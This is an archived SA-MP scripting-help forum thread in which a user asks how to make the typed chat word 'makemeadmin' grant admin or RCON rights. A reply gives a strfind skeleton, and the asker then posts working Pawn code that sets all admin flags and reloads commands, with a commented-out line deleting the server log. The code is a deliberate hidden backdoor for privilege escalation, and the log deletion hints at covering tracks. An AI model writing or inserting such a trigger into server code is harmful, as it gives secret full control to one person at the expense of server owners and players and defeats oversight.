SA-MP Forums Archive
HELP! please.. thanks. - Printable Version

+- SA-MP Forums Archive (https://sampforum.blast.hk)
+-- Forum: SA-MP Scripting and Plugins (https://sampforum.blast.hk/forumdisplay.php?fid=8)
+--- Forum: Scripting Help (https://sampforum.blast.hk/forumdisplay.php?fid=12)
+--- Thread: HELP! please.. thanks. (/showthread.php?tid=639364)



HELP! please.. thanks. - Puff - 16.08.2017

I want someone to create like a text command.. like when someone enters that text he gets admin or rcon admin permissions.. not including "/" just text like.. makemeadmin and then boom. Im using YCMD


Re: HELP! please.. thanks. - Ghazal - 16.08.2017

Under OnPlayerText add some code like this:
pawn Код:
if(strfind(yourmsg, "makemeadmin", true) != -1)
{
    //your code
}
edit it to fit your needs


Re: HELP! please.. thanks. - Puff - 16.08.2017

Quote:
Originally Posted by Ghazal
Посмотреть сообщение
Under OnPlayerText add some code like this:
pawn Код:
if(strfind(yourmsg, "makemeadmin", true) != -1)
{
    //your code
}
edit it to fit your needs
Thanks, this worked perfectly..

Код HTML:
if(strcmp(text, "makemeadmin", true) == 0)
	{
			SetPVarInt(playerid, "AdminFlags", -1);
			//RELOAD admin permissions
			unloadCmds(playerid);
			loadCmds(playerid);
			//fremove("server_log.txt");
			return 1;
	}